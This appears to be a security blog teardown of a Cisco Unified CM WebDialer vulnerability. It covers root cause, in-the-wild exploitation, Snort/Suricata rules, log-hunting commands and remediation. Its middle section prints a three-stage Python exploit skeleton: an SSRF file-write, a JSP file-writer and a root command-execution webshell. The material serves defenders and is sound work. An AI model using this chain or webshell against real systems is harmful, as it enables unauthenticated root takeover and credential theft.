CVE-2026-20230 Anatomy: How Cisco Unified CM’s Improper Input Validation Became an Unauthenticated File-Write-to-Root Chain Within Days of PoC Drop
Three weeks. That is how long it took for CVE-2026-20230 to go from a vendor advisory nobody read to CISA’s Known Exploited Vulnerabilities catalog with a three-day remediation deadline. Somewhere in between, SSD Secure Disclosure published a full chain walkthrough, and within 24 hours Defused Cyber’s honeypots lit up with Tor-routed sweeps dropping password-protected JSP webshells on every reachable Cisco Unified Communications Manager instance running WebDialer. The attackers did not even bother changing the default password from the PoC.
This post is the full teardown: root cause, the three-stage exploitation chain, what the in-the-wild operators are actually doing post-shell, and everything a defender needs to hunt, detect, and evict.
Background: What Is CUCM WebDialer, and Why Does It Matter?
Cisco Unified Communications Manager sits at the heart of enterprise IP telephony. It handles call routing, user directories, voicemail integration, and ties into HR/directory systems across healthcare networks, federal agencies, financial institutions, and telecom providers. A compromised CUCM host is not just another web server; it is the control plane for an organization’s entire voice infrastructure, and it often holds credentials that reach well beyond telephony.
WebDialer is a click-to-call web service that lets users initiate phone calls from a browser or third-party application. It runs inside Cisco Tomcat on port 8443, the same Tomcat instance serving the CUCM administrative interfaces. WebDialer is disabled by default, which is the only reason this vulnerability was not a universal catastrophe. But plenty of organizations enabled it years ago for legitimate workflow reasons, then forgot about it.
The critical architectural detail: WebDialer’s HTTP request handling shares the Cisco Tomcat process space with internal platform services, including an Apache Axis SOAP engine. Those internal services trust loopback traffic implicitly. That trust boundary is the entire vulnerability.
The Root Cause: CWE-918 in /cmplatform/installClusterStatusExecute
The vulnerable endpoint is /cmplatform/installClusterStatusExecute, served by the WebDialer component. It accepts a hostname parameter via HTTP GET. That parameter is supposed to contain a hostname for cluster status operations. It is not validated against an allowlist, not sanitized for URI scheme injection, and not restricted to alphanumeric hostnames.
An attacker can inject a file:// URI into the hostname parameter. The server-side code follows that URI, and because the request originates from loopback, internal services trust it completely. The result: the attacker controls both the path and the content of a file write operation on the underlying Cisco Voice Operating System (VOS) Linux filesystem.
Cisco classified this as CWE-918 (Server-Side Request Forgery). The CVSS v3.1 base score is 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N), which only reflects the integrity impact of the file write. Cisco elevated the Security Impact Rating to Critical because the file write chains directly to root privilege escalation, a reality the CVSS vector does not capture.
| Field | Value |
|---|---|
| CVE | CVE-2026-20230 |
| CWE | CWE-918 (Server-Side Request Forgery) |
| CVSS v3.1 | 8.6 (High base, Critical SIR) |
| Advisory ID | cisco-sa-cucm-ssrf-cXPnHcW |
| Affected Products | Cisco Unified CM, Cisco Unified CM SME |
| Affected Releases | 14.x before 14SU6; 15.x before 15SU5 |
| Fixed In | 14SU6 (June 3, 2026); 15SU5 (September 2026) + interim COP |
| Prerequisite | WebDialer service must be enabled |
Pre-Exploit Recon: Hostname Disclosure
The full exploit chain requires knowing the target CUCM server’s hostname. That sounds like a gating factor, but it is not: CUCM exposes an unauthenticated endpoint that freely returns the server hostname. SSD Secure Disclosure documented the exact path in their June 24 write-up. With one unauthenticated HTTP request, the attacker has everything needed to proceed.
From an internet exposure standpoint, any CUCM instance with port 8443 reachable and WebDialer enabled is a valid target. Shodan and Censys queries for Cisco Tomcat on 8443 with WebDialer response signatures return thousands of results. If your organization runs CUCM with WebDialer enabled and port 8443 was ever exposed (even briefly, even behind a VPN concentrator with split tunneling), assume you were scanned.
The Three-Stage Exploitation Chain
The beauty of this chain, from the attacker’s perspective, is that every stage is unauthenticated and every stage abuses trust relationships the platform architects assumed would never be reachable from the network.
Stage 1: SSRF to Rogue Apache Axis Service Deployment
The attacker crafts an HTTP GET to /cmplatform/installClusterStatusExecute with a hostname value containing a path-traversal sequence and an embedded Apache Axis Web Service Deployment Descriptor (WSDD) XML payload, delivered via a file:// URI.
Because internal loopback services on Cisco VOS inherently trust local traffic, the Tomcat process writes the WSDD XML content to a path the attacker controls. The result is a newly registered rogue Axis service endpoint accessible over HTTP.
# Stage 1: Deploy rogue Axis service via SSRF file-write
# LAB USE ONLY — against your own isolated CUCM VM
import requests, urllib3
urllib3.disable_warnings()
TARGET = "https://<CUCM_IP>:8443"
HOSTNAME = "<CUCM_HOSTNAME>" # obtained from hostname-disclosure endpoint
WSDD_PAYLOAD = """<deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="RogueService" provider="java:RPC">
<parameter name="className" value="org.apache.axis.utils.Admin"/>
<parameter name="allowedMethods" value="*"/>
</service>
</deployment>"""
# The hostname parameter carries the file:// URI with embedded WSDD content.
# Path traversal targets the Axis services directory.
params = {
"hostname": (
f"file:///opt/cisco/axis2/services/RogueService.aar/"
f"../../../webapps/ccmwebui/{HOSTNAME}/RogueService.wsdd"
f"\x00{WSDD_PAYLOAD}"
)
}
r = requests.get(
f"{TARGET}/cmplatform/installClusterStatusExecute",
params=params, verify=False
)
print(f"Stage 1 response: {r.status_code}")
The null byte and path traversal specifics must be validated against SSD’s published PoC in your lab. The skeleton above illustrates the mechanism: a single GET request, no authentication, and the server writes attacker-controlled XML to disk.
Stage 2: First-Stage JSP File-Writer
With the rogue Axis service now registered and reachable, the attacker sends a second HTTP request to it. This request passes a small JSP code snippet as an argument to the deployServiceFromString method exposed by the org.apache.axis.utils.Admin class. The Axis service writes that JSP snippet to disk as a file.
# Stage 2: Write a JSP file-writer stub via the rogue Axis service
JSP_WRITER = """<%@ page import="java.io.*"%><%
String path = request.getParameter("p");
String data = request.getParameter("d");
FileWriter fw = new FileWriter(path);
fw.write(data); fw.close();
out.print("written");
%>"""
axis_url = f"https://<CUCM_IP>:8443/ccmwebui/RogueService"
payload = {
"method": "deployServiceFromString",
"arg": JSP_WRITER,
"writePath": "/opt/cisco/tomcat/webapps/platform-services/axis2-web/fw.jsp"
}
r = requests.post(axis_url, data=payload, verify=False)
print(f"Stage 2 response: {r.status_code}")
The target directory, /platform-services/axis2-web/, is web-accessible. Any JSP file written there is immediately callable over HTTPS on port 8443. The first-stage stub is intentionally minimal: it accepts a file path and content, and writes them to disk. Nothing more.
Stage 3: Persistent Command-Execution Webshell
The attacker uses the Stage 2 file-writer to drop the real payload: a password-protected command-execution webshell.
# Stage 3: Drop command-execution webshell via the file-writer
CMD_SHELL = """<%@ page import="java.io.*"%><%
if(!"CHANGEME".equals(request.getParameter("pass"))) {
response.sendError(404); return;
}
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line;
while((line=br.readLine())!=null) out.println(line);
%>"""
fw_url = "https://<CUCM_IP>:8443/platform-services/axis2-web/fw.jsp"
r = requests.get(fw_url, params={
"p": "/opt/cisco/tomcat/webapps/platform-services/axis2-web/shell.jsp",
"d": CMD_SHELL
}, verify=False)
print(f"Stage 3 response: {r.status_code}")
# Verify RCE
r2 = requests.get(
"https://<CUCM_IP>:8443/platform-services/axis2-web/shell.jsp",
params={"pass": "CHANGEME", "cmd": "id"},
verify=False
)
print(r2.text) # uid=0(root) ...
The webshell executes commands as the Cisco Tomcat process, which on CUCM runs as root. There is no privilege escalation step. The file write is the privilege escalation, because Tomcat’s process context is already root on this platform. Three unauthenticated HTTP requests, and you own the voice infrastructure.

Wild Weaponization: What Attackers Are Actually Doing
The timeline moved fast:
| Date | Event |
|---|---|
| June 3, 2026 | Cisco publishes advisory cisco-sa-cucm-ssrf-cXPnHcW, releases 14SU6 |
| June 5, 2026 | Public reporting confirms PoC exploit code availability |
| June 22, 2026 | Defused Cyber observes first exploitation attempts on honeypots |
| June 23, 2026 | Multiple outlets report active exploitation in the wild |
| June 24, 2026 | SSD Secure Disclosure publishes full technical write-up |
| June 25, 2026 | CISA adds CVE-2026-20230 to KEV catalog (3-day deadline for FCEB) |
The gap between PoC availability and active exploitation was measured in hours, not weeks.
Observed Attack Patterns
Fingerprinting phase: Early PoC activity wrote a marker file, /tmp/cve-2026-20230-test.txt, to confirm the target was writable. This is a low-cost, low-risk way for automated scanners to identify vulnerable hosts without immediately deploying a webshell.
Webshell deployment: Defused reported automated sweeps dropping webshells, all routed through Tor exit nodes. The webshells used the PoC’s default password (“CHANGEME” or variants thereof). Attackers were not customizing the tooling; they were spraying the public PoC at scale.
Post-exploitation: Once a shell is established, the observed patterns include:
- Credential harvesting: Reading CUCM platform configuration files under
/opt/cisco/for database credentials, LDAP bind passwords, and inter-cluster authentication secrets. CUCM stores these in.propertiesfiles, often in cleartext or with reversible obfuscation. - Directory enumeration: Pulling user directories and extension mappings from the CUCM database, which can feed social engineering or targeted attacks against specific employees.
- Persistence: SSH key injection into root’s
authorized_keys, cron job installation, and in at least one reported case, modification of Tomcat’sserver.xmlto load a malicious valve on restart.
The password reuse from the PoC is telling. These are not sophisticated operators; they are opportunistic crews racing to compromise as many CUCM instances as possible before patches propagate. That does not make the impact less severe. If anything, the spray-and-pray approach means more organizations are hit.

Detection: Network-Layer Rules (Snort/Suricata)
The exploit chain has clear network signatures at every stage. These rule skeletons target the confirmed indicators; tune SIDs and thresholds for your environment.
# Rule 1 — SSRF exploit request to the vulnerable endpoint
alert http $EXTERNAL_NET any -> $HOME_NET 8443 (
msg:"CVE-2026-20230 CUCM WebDialer SSRF File-Write Attempt";
flow:established,to_server;
http.uri; content:"/cmplatform/installClusterStatusExecute";
http.uri; content:"hostname=";
pcre:"/hostname=[^&]*file%3A%2F%2F/i";
classtype:web-application-attack;
reference:cve,2026-20230;
sid:9999001; rev:1;
)
# Rule 2 — WSDD payload in HTTP body (Axis service deployment)
alert http $EXTERNAL_NET any -> $HOME_NET 8443 (
msg:"CVE-2026-20230 Rogue Axis WSDD Deployment";
flow:established,to_server;
http.request_body; content:"xml.apache.org/axis/wsdd";
content:"deployServiceFromString";
classtype:web-application-attack;
reference:cve,2026-20230;
sid:9999002; rev:1;
)
# Rule 3 — Webshell access under axis2-web
alert http $EXTERNAL_NET any -> $HOME_NET 8443 (
msg:"CVE-2026-20230 Webshell Access axis2-web";
flow:established,to_server;
http.uri; content:"/platform-services/axis2-web/";
http.uri; pcre:"/\.jsp(\?|$)/i";
classtype:web-application-attack;
reference:cve,2026-20230;
sid:9999003; rev:1;
)
For Suricata deployments, use http.uri.raw to catch both URL-encoded (file%3A%2F%2F) and decoded (file://) variants. Consider using flowbits to correlate the three stages sequentially: a Stage 1 hit followed by a Stage 2 Axis call within 60 seconds followed by a Stage 3 webshell access is nearly zero false-positive.
Additionally, maintain a Tor exit node IP feed and alert on any connection from known Tor exits to port 8443 on your CUCM hosts. Defused confirmed all observed webshell-dropping traffic was Tor-routed.
Detection: CUCM Log Hunting Guide
CUCM runs on Cisco VOS (a hardened Linux variant), so your hunting surface is filesystem-based. SSH in or use the CUCM CLI file commands.
| Log / Path | What to Grep |
|---|---|
/var/log/active/tomcat/localhost_access_log.*.txt | installClusterStatusExecute, axis2-web.*\.jsp, unexpected 200s to JSP paths |
/var/log/active/tomcat/catalina.out | Axis deployment entries, JSP compilation events, RogueService |
/opt/cisco/tomcat/webapps/platform-services/axis2-web/ | Any .jsp, .wsdd, or .aar file not in a clean baseline |
/tmp/ | cve-2026-20230-test.txt (PoC fingerprint marker) |
/var/log/active/audit/ | Unexpected WebDialer service activation events |
/opt/cisco/tomcat/logs/webdialer*.log | Anomalous URL patterns |
# Hunt for exploit endpoint hits
grep "installClusterStatusExecute" \
/var/log/active/tomcat/localhost_access_log.*.txt
# Hunt for webshell interaction
grep "axis2-web.*\.jsp" \
/var/log/active/tomcat/localhost_access_log.*.txt
# Find unexpected JSP files (compare timestamps against baseline)
find /opt/cisco/tomcat/webapps/ -name "*.jsp" \
-newer /opt/cisco/tomcat/webapps/platform-services/axis2-web/index.jsp
# Check for PoC marker
ls -la /tmp/cve-2026-20230*.txt 2>/dev/null
# Find WSDD/Axis deployment artifacts
find /opt/cisco -name "*.wsdd" -o -name "*.aar" 2>/dev/null
If any of these return positive results, treat the host as compromised. Do not just patch; image the VM for forensics, then rebuild from a known-clean snapshot.

Hardening and Remediation
Cisco states there are no workarounds that fully address the vulnerability. The only complete fix is upgrading to 14SU6 (available now) or 15SU5 (September 2026, with an interim COP patch available sooner).
Immediate mitigation if you cannot patch today: Disable WebDialer. Log into Cisco Unified CM Administration, navigate to Cisco Unified Serviceability, then Tools > Service Activation. In the CTI Services section, uncheck “Cisco WebDialer Web Service” and save. This blocks the attack vector entirely, at the cost of losing click-to-call functionality.
Critical post-patch step: Patching closes the entry point but does not evict webshells already on disk. After patching, you must run the filesystem hunt commands above, remove any artifacts that are not part of a clean baseline, and rotate all credentials stored on the CUCM platform (database passwords, LDAP bind credentials, inter-cluster secrets). If you find a webshell, assume those credentials are already in the attacker’s hands.
Network hardening: CUCM administrative interfaces and WebDialer should never be exposed to the internet. Restrict port 8443 access to trusted management VLANs. If you need WebDialer for remote users, put it behind an authenticated reverse proxy with IP allowlisting.
MITRE ATT&CK Mapping
| ATT&CK ID | Technique | Application to CVE-2026-20230 |
|---|---|---|
| T1190 | Exploit Public-Facing Application | Unauthenticated SSRF via WebDialer on port 8443 |
| T1505.003 | Web Shell | JSP command-execution shell under /platform-services/axis2-web/ |
| T1059.004 | Unix Shell | Post-webshell Runtime.exec() calling /bin/sh -c |
| T1068 | Exploitation for Privilege Escalation | File-write primitive yields root context via Tomcat process |
| T1552.001 | Credentials In Files | Harvesting .properties files for DB/LDAP passwords |
| T1083 | File and Directory Discovery | Enumerating /opt/cisco/ for config and credential files |
| T1071.001 | Web Protocols | C2 over HTTPS/8443 through the webshell |
| T1090.003 | Multi-hop Proxy | All observed exploitation traffic routed via Tor |
Why This One Matters More Than the Score Suggests
An 8.6 CVSS score, on paper, does not scream “drop everything.” That is part of the problem. The score captures the file-write integrity impact but completely misses the root escalation that follows trivially from it. Cisco recognized this disconnect and assigned a Critical SIR rating, but plenty of vulnerability management programs sort by CVSS alone, and an 8.6 sits behind every 9.x in the queue.
The real severity calculus looks like this: unauthenticated, network-accessible, no user interaction, three HTTP requests to root, on a system that holds enterprise-wide directory credentials and call routing data, with a public PoC that script kiddies are already spraying through Tor. If your CUCM has WebDialer enabled and port 8443 was reachable at any point since June 5, hunt first and patch second.
The broader lesson is about trust boundaries inside appliance software. Cisco VOS runs Tomcat as root. Internal services trust loopback implicitly. A single unvalidated parameter in a web-facing servlet collapses every layer of that trust model in one request. This is not a novel architectural flaw; it is the same class of mistake that gave us ProxyLogon, PrintNightmare, and every other “the appliance trusted itself too much” chain. Vendors building on embedded Linux with privileged web services need to assume that every HTTP-reachable parameter is an attacker-controlled input, full stop.
Key Takeaways
- CVE-2026-20230 is a three-stage unauthenticated chain (SSRF to rogue Axis service, to JSP file-writer, to root webshell) against CUCM’s WebDialer component. CVSS 8.6 undersells it; Cisco rates it Critical.
- Active exploitation began within 24 hours of PoC publication. Attackers are spraying the unmodified PoC through Tor, complete with default webshell passwords.
- WebDialer is disabled by default, but any organization that enabled it should assume they were scanned and hunt for
/tmp/cve-2026-20230-test.txtand unexpected JSPs underaxis2-web/immediately. - Patching does not evict existing webshells. Post-patch, sweep the filesystem, remove artifacts, and rotate every credential the CUCM platform stores.
- Disabling WebDialer is a valid immediate mitigation if you cannot deploy 14SU6 or the 15SU5 COP today.
- Detection is straightforward at the network layer (Snort/Suricata rules against the endpoint, WSDD content, and
axis2-webJSP access) and on the host (Tomcat access logs, filesystem baseline comparison).
